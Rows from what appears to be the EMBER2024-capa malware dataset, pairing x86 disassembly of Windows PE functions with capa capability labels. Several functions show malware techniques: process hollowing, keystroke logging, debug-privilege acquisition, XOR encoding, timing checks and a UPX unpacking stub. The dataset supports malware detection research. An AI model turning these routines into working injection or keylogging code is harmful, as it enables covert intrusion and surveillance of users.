joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4096ff
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x103
push 0
mov ebx, 0xc8
push ebx
lea edi, [ebx + 0x1c]
push edi
push 0x2e
push 0x4106ac
mov esi, 0x4122f8
push esi
call fcn.00402544
add esp, 0x14
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x409765
push ebx
push edi
push 9
push 0x4106a0
push esi
call fcn.00402544
add esp, 0x14
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100
push 0
push esi
call fcn.0040ee2a
add esp, 0xc
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x40977c
Capabilities:
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x5c]
push esi
push eax
call fcn.0040ee2a
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push 4
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x5c], 0x44
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4097c2
xor eax, eax
jmp 0x409864
push 0x2cc
lea eax, [ebp - 0x328]
push esi
push eax
call fcn.0040ee2a
add esp, 0xc
lea eax, [ebp - 0x328]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x328], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x409801
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x4097bb
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x10]
push 0x409a6b
call fcn.0040637c
add esp, 0x10
push esi
test eax, eax
je 0x4097f6
push 4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x284]
add eax, 8
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4097f5
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x278], eax
lea eax, [ebp - 0x328]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x4097f5
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
inc eax
pop esi
leave
ret

Function at 0x40a4c7
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebp
push esi
push edi
call ebx
mov esi, dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebp, eax
add esi, 0x5c
jmp 0x40a4f7
call ebx
sub eax, ebp
cmp eax, 0x1388
jae 0x40a500
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push esi
call edi
test eax, eax
jne 0x40a4e4
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x40a51d
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.0040a4c7
cmp dword [esi + 0x50], 0
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
pop ecx
jne 0x40a542
mov dword [ebp + 8], 0x1f4
jmp 0x40a55d
call edi
sub eax, dword [esi + 0x50]
cmp eax, 1
jge 0x40a54f
xor eax, eax
inc eax
mov ecx, 0x1f4
cmp eax, ecx
jle 0x40a55a
mov eax, ecx
mov dword [ebp + 8], eax
call edi
mov ecx, dword [esi + 0x38]
mov dword [esi + 0x50], eax
mov eax, dword [ebp + 0xc]
test ecx, ecx
jne 0x40a574
mov dword [esi + 0x38], eax
jmp 0x40a61d
sub eax, ecx
imul eax, dword [ebp + 8]
cdq
mov edi, 0x3e8
idiv edi
push 0xa
pop edi
cdq
idiv edi
test eax, eax
je 0x40a590
add ecx, eax
jmp 0x40a59b
cmp dword [ebp + 0xc], ecx
je 0x40a59e
jge 0x40a59a
dec ecx
jmp 0x40a59b
inc ecx
mov dword [esi + 0x38], ecx
cmp dword [esi + 0x3c], 3
jle 0x40a61d
mov eax, dword [esi + 0x18]
mov ecx, eax
sub ecx, dword [esi + 0x38]
mov edi, ecx
jns 0x40a5b2
xor edi, edi
push ebx
push 0xa
cdq
pop ebx
idiv ebx
cmp edi, eax
jle 0x40a61c
imul ecx, ecx, 0xa
mov eax, ecx
mov dword [ebp - 4], eax
imul eax, dword [ebp + 8]
cdq
mov ebx, 0x3e8
idiv ebx
mov ecx, dword [esi + 0x14]
mov edi, dword [esi + 0x10]
imul ecx, ecx, 0x2710
imul edi, edi, 0x2710
push ecx
push edi
cdq
idiv dword [esi + 0x28]
add eax, dword [esi + 0x1c]
push eax
call fcn.0040a505
mov ebx, eax
mov eax, dword [ebp - 4]
cdq
idiv dword [esi + 0x24]
push ecx
push edi
mov dword [esi + 0x1c], ebx
add eax, ebx
push eax
call fcn.0040a505
add esp, 0x18
cdq
push 0xa
pop ecx
idiv ecx
mov ecx, 0x3e8
cdq
idiv ecx
mov dword [esi + 0x34], eax
pop ebx
inc dword [esi + 0x3c]
and dword [esi + 0x5c], 0
pop edi
pop esi
leave
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x40ed79
Capabilities:
Encode data using xor

Disassembly:
push 0x40eae0
mov edx, dword [esp]
add esp, 4
mov edi, 0x197869a1
sub ebx, 1
call fcn.0040edb4
xor dword [eax], edx
or ebx, edi
mov ebx, 0x59ab3b2d
add eax, 1
add ebx, 0xe8b026fd
cmp eax, ecx
jne fcn.0040ed79
ret
Function at 0x4fa1c0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xa2000]
push edi
or ebp, 0xffffffff
jmp 0x4fa1e2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4fa1e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4fa1d8
mov eax, 1
add ebx, ebx
jne 0x4fa1fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4fa20c
jne 0x4fa22b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4fa22b
dec eax
add ebx, ebx
jne 0x4fa218
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4fa1f0
add ebx, ebx
jne 0x4fa227
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4fa27d
xor ecx, ecx
sub eax, 3
jb 0x4fa243
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4fa2b2
sar eax, 1
mov ebp, eax
jmp 0x4fa24e
add ebx, ebx
jne 0x4fa24e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4fa21c
inc ecx
add ebx, ebx
jne 0x4fa25c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4fa21c
add ebx, ebx
jne 0x4fa269
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4fa25e
jne 0x4fa27a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4fa25e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4fa29c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4fa28e
jmp 0x4fa1de
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4fa29c
add edi, ecx
jmp 0x4fa1de
pop esi
mov edi, esi
mov ecx, 0x7f53
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4fa2ba
cmp byte [edi], 0x16
jne 0x4fa2ba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4fa2bf
lea edi, [esi + 0xf7000]
mov eax, dword [edi]
or eax, eax
je 0x4fa337
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xff42c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xff544]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4fa2ec
mov ecx, edi
jns 0x4fa31b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xff548]
or eax, eax
je 0x4fa331
mov dword [ebx], eax
add ebx, 4
jmp 0x4fa309
call dword [esi + 0xff550]
mov ebp, dword [esi + 0xff54c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4fa36b
sub esp, 0xffffff80
jmp 0x48a274
Function at 0x401900
Capabilities:
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x4b6078
mov eax, dword fs:[0]
push eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4e88d0]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x24]
mov eax, dword [esp + 0x28]
mov dword [0x4f414c], eax
call fcn.0047b116
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40194b
push 0x80004005
call fcn.00402120
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [esp + 0x24], esi
mov dword [esp + 0x1c], 0
mov eax, dword [esi - 8]
mov edi, dword [0x4f4380]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, 0x104
or eax, ecx
jge 0x40198f
push 0x104
lea ecx, [esp + 0x28]
call fcn.004020a0
mov esi, dword [esp + 0x24]
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push edi
push 0x104
push esi
push 0x4c5250
push 0x4c5254
push str.HotkeyOpt
call ebx
mov eax, dword [esi - 8]
push eax
push esi
call fcn.00491b18
add esp, 8
test eax, eax
jl 0x401ae7
cmp eax, dword [esi - 8]
jg 0x401ae7
xor ecx, ecx
mov dword [esi - 0xc], eax
mov word [esi + eax*2], cx
mov ecx, 0x4c5280
mov eax, esi
jmp 0x4019e0
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401a06
test dx, dx
je 0x401a02
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401a06
add eax, 4
add ecx, 4
test dx, dx
jne 0x4019e0
xor eax, eax
jmp 0x401a0b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
sete al
movzx eax, al
test eax, eax
je 0x401aa9
mov eax, dword [esi - 8]
mov edi, dword [0x4f4380]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, 0x104
or eax, ecx
jge 0x401a47
push 0x104
lea ecx, [esp + 0x28]
call fcn.004020a0
mov esi, dword [esp + 0x24]
push edi
push 0x104
push esi
push 0x4c5250
push 0x4c5284
push str.Option
call ebx
mov eax, dword [esi - 8]
push eax
push esi
call fcn.00491b18
add esp, 8
test eax, eax
jl 0x401ae7
cmp eax, dword [esi - 8]
jg 0x401ae7
mov dword [esi - 0xc], eax
xor edx, edx
mov word [esi + eax*2], dx
lea eax, [esp + 0x24]
push 0x4c5280
push eax
call fcn.00401b80
movzx eax, al
add esp, 8
test eax, eax
je 0x401aa9
cmp dword [0x4f414c], 0
mov ecx, ebp
je 0x401ae3
push 8
call fcn.00478c1f
lea eax, [esi - 0x10]
mov dword [esp + 0x1c], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401acd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 8
push 0
jmp 0x401aa4
push 0x80070057
call fcn.00402120
int3
Function at 0x4025f0
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4b6ab8
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4e88d0]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov edi, ecx
call fcn.00472af8
mov eax, dword [edi + 0x20]
push 0
push 0x3e8
push 0x64
push eax
call dword [sym.imp.USER32.dll_SetTimer]
call fcn.0047b116
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x402651
push 0x80004005
call fcn.00402120
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
mov dword [esp + 0x38], 0
mov ecx, dword [edi + 0x78]
push ecx
lea edx, [esp + 0x1c]
push 0x4c55f0
push edx
call fcn.004021f0
mov eax, dword [esp + 0x24]
add esp, 0xc
push eax
lea ecx, [edi + 0x7c]
call fcn.00478b7d
mov eax, dword [edi + 0x74]
lea esi, [edi + 0x74]
mov ecx, str.Reboot
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4026bd
test dx, dx
je 0x4026b9
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4026bd
add eax, 4
add ecx, 4
test dx, dx
jne 0x402697
xor eax, eax
jmp 0x4026c2
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
sete al
test al, al
je 0x4026f2
push str.Automatic_Mouse_and_Keyboard_will_reboot_the_computer_in:
lea ecx, [edi + 0xd0]
call fcn.00478b7d
push str.Reboot_Immediate
lea ecx, [edi + 0x124]
call fcn.00478b7d
push str.Reboot_Computer
jmp 0x402729
push str.Logoff
push esi
call fcn.00401b80
add esp, 8
test al, al
je 0x402730
push str.Automatic_Mouse_and_Keyboard_will_logoff_the_computer_in:
lea ecx, [edi + 0xd0]
call fcn.00478b7d
push str.Logoff_Immediate
lea ecx, [edi + 0x124]
call fcn.00478b7d
push str.Logoff_Computer
mov ecx, edi
call fcn.00478b7d
mov esi, dword [edi + 0x20]
lea ecx, [esp + 0x1c]
push ecx
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
test eax, eax
je 0x402766
push esi
call dword [sym.imp.USER32.dll_GetParent]
mov esi, eax
test esi, esi
je 0x402766
mov ebx, dword [sym.imp.USER32.dll_ScreenToClient]
lea edx, [esp + 0x1c]
push edx
push esi
call ebx
lea eax, [esp + 0x24]
push eax
push esi
call ebx
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call esi
push 1
mov ebx, eax
call esi
mov edx, dword [esp + 0x24]
sub edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x28]
sub ecx, dword [esp + 0x20]
mov ebp, eax
mov eax, ebx
sub eax, edx
cdq
sub eax, edx
mov esi, eax
mov eax, ebp
sub eax, ecx
push 1
cdq
push 0
sub eax, edx
push 0
sar eax, 1
push eax
sar esi, 1
push esi
push 0
mov ecx, edi
call fcn.00478eae
mov dword [esp + 0x38], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4027d5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4027f0
Capabilities:
Shutdown system

Disassembly:
sub esp, 0x20
push esi
mov esi, eax
lea eax, [esp + 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402869
lea ecx, [esp + 8]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov edx, dword [esp + 8]
mov eax, dword [esp + 0xc]
push 0
push 0
push 0x10
lea ecx, [esp + 0x1c]
push ecx
mov dword [esp + 0x24], edx
mov edx, dword [esp + 0x14]
push 0
push edx
mov dword [esp + 0x28], 1
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x402869
xor eax, eax
pop esi
add esp, 0x20
ret
push 0x80020003
or esi, 0x10
push esi
call dword [sym.imp.USER32.dll_ExitWindowsEx]
neg eax
sbb eax, eax
neg eax
pop esi
add esp, 0x20
ret
Function at 0x402de0
Capabilities:
Create directory

Disassembly:
push 0xffffffffffffffff
push 0x4b7d98
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4e88d0]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
call fcn.0047b116
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x402e21
push 0x80004005
call fcn.00402120
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea edi, [eax + 0x10]
mov dword [esp + 0x18], edi
mov ecx, dword [esp + 0x30]
push ecx
lea ecx, [esp + 0x18]
mov dword [esp + 0x2c], 0
call fcn.00405510
mov byte [esp + 0x28], 1
xor eax, eax
mov edi, edi
mov ecx, dword [esp + 0x14]
mov edx, dword [ecx - 0xc]
test eax, eax
jl 0x402f2f
cmp eax, edx
jge 0x402f2f
lea edx, [ecx + eax*2]
push 0x5c
push edx
call fcn.00492116
add esp, 8
test eax, eax
je 0x402f2f
sub eax, dword [esp + 0x14]
sar eax, 1
mov ebp, eax
cmp ebp, 0xffffffff
je 0x402f2f
push ebp
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x1c]
call fcn.00404b70
mov byte [esp + 0x28], 2
mov ecx, dword [eax]
lea eax, [ecx - 0x10]
lea esi, [edi - 0x10]
cmp eax, esi
je 0x402ef9
cmp dword [esi + 0xc], 0
lea edi, [esi + 0xc]
jl 0x402ee7
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x402ee7
push eax
call fcn.00401da0
mov ebx, eax
add esp, 4
or eax, 0xffffffff
lock xadd dword [edi], eax
dec eax
test eax, eax
jg 0x402ede
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
lea edi, [ebx + 0x10]
mov dword [esp + 0x18], edi
jmp 0x402ef9
mov eax, dword [ecx - 0xc]
push eax
push ecx
lea ecx, [esp + 0x20]
call fcn.00401cf0
mov edi, dword [esp + 0x18]
mov byte [esp + 0x28], 1
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402f1e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp + 1]
jmp 0x402e50
mov ecx, dword [esp + 0x30]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov esi, eax
mov byte [esp + 0x28], 0
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x402f63
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [edi - 0x10]
mov dword [esp + 0x28], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402f87
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
Function at 0x402fa0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x24
lea eax, [esp + 4]
push eax
push 0x20028
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x402fc2
add esp, 0x24
ret
lea ecx, [esp + 8]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x402fe1
mov eax, 1
add esp, 0x24
ret
mov edx, dword [esp + 8]
mov eax, dword [esp + 0xc]
push 0
push 0
push 0
lea ecx, [esp + 0x1c]
push ecx
mov dword [esp + 0x24], edx
mov edx, dword [esp + 0x14]
push 0
push edx
mov dword [esp + 0x28], 1
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
inc eax
add esp, 0x24
ret
Function at 0x403560
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push 0xffffffffffffffff
push 0x4b5ce9
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4e88d0]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov edi, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
xor esi, esi
push esi
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x1c], esi
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
mov ebp, eax
shl ebp, 0x10
cmp dword [esp + 0x30], esi
je 0x4035b0
or ebp, 0x1000000
call fcn.0047b116
xor ecx, ecx
cmp eax, esi
setne cl
cmp ecx, esi
jne 0x4035ca
push 0x80004005
call fcn.00402120
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
mov dword [esp + 0x20], esi
mov dword [esp + 0x14], 1
mov esi, 0x40
mov eax, dword [edi]
sub eax, 0x10
mov ecx, 1
sub ecx, dword [eax + 0xc]
mov eax, dword [eax + 8]
add esi, esi
sub eax, esi
or eax, ecx
jge 0x403609
push esi
mov ecx, edi
call fcn.004020a0
mov eax, dword [edi]
test esi, esi
jl 0x403675
cmp esi, dword [eax - 8]
jg 0x403675
mov dword [eax - 0xc], esi
mov ecx, dword [edi]
xor edx, edx
mov word [ecx + esi*2], dx
lea ecx, [esi + 1]
push ecx
push eax
push ebp
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x403645
mov eax, dword [edi]
mov ecx, dword [eax - 8]
test eax, eax
je 0x403649
push ecx
push eax
call fcn.00491b18
add esp, 8
test eax, eax
jl 0x403675
mov ecx, dword [edi]
cmp eax, dword [ecx - 8]
jg 0x403675
mov dword [ecx - 0xc], eax
mov edx, dword [edi]
xor ecx, ecx
mov word [edx + eax*2], cx
cmp ebx, esi
je 0x4035e9
mov eax, edi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
push 0x80070057
call fcn.00402120
int3

Function at 0x405110
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov eax, dword [edi]
lea ecx, [esp]
push ecx
push esi
add eax, eax
lea edx, [esp + 0x10]
push edx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x14]
push 0
mov dword [edi], 0
mov ecx, dword [eax]
push 0x4cb320
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40517e
mov eax, dword [esp + 8]
cmp eax, 1
je 0x40514f
cmp eax, 2
jne 0x40516a
mov eax, dword [esp]
test esi, esi
je 0x405178
test eax, eax
je 0x405173
test al, 1
jne 0x40516a
mov edx, eax
shr edx, 1
cmp word [esi + edx*2 - 2], 0
je 0x405178
mov eax, 0xd
pop ecx
ret 4
xor ecx, ecx
mov word [esi], cx
shr eax, 1
mov dword [edi], eax
xor eax, eax
pop ecx
ret 4
Function at 0x405290
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4052a9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4052e4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x4052e0
lea ebx, [ebx]
cmp esi, eax
jae 0x4052e4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4052d0
cmp esi, eax
jb 0x4052ea
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x409780
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x4b7b2f
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x4e88d0]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, dword [esp + 0x24]
xor edi, edi
mov dword [esi + 4], edi
mov dword [esi], vtable.Event.0
call fcn.0047b116
xor ecx, ecx
cmp eax, edi
setne cl
cmp ecx, edi
jne 0x4097cd
push 0x80004005
call fcn.00402120
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esi + 0xc], eax
mov dword [esi + 8], edi
mov dword [esi + 0x10], 0x3e8
mov dword [esi + 0x14], edi
mov dword [esi + 0x18], edi
mov dword [esp + 0x1c], edi
mov dword [esi], vtable.ForLoopEvent.0
call fcn.0047b116
xor ecx, ecx
cmp eax, edi
setne cl
cmp ecx, edi
jne 0x409810
push 0x80004005
call fcn.00402120
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
lea ebx, [esi + 0x38]
push ebx
mov byte [esp + 0x20], 5
call fcn.00429ff0
mov dword [ebx + 0x18], edi
mov dword [ebx + 0x1c], 0xffffffff
mov dword [ebx + 0x20], edi
mov dword [ebx + 0x24], edi
mov dword [esi + 8], 8
mov dword [esi + 0x1c], edi
mov dword [esi + 0x20], 3
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4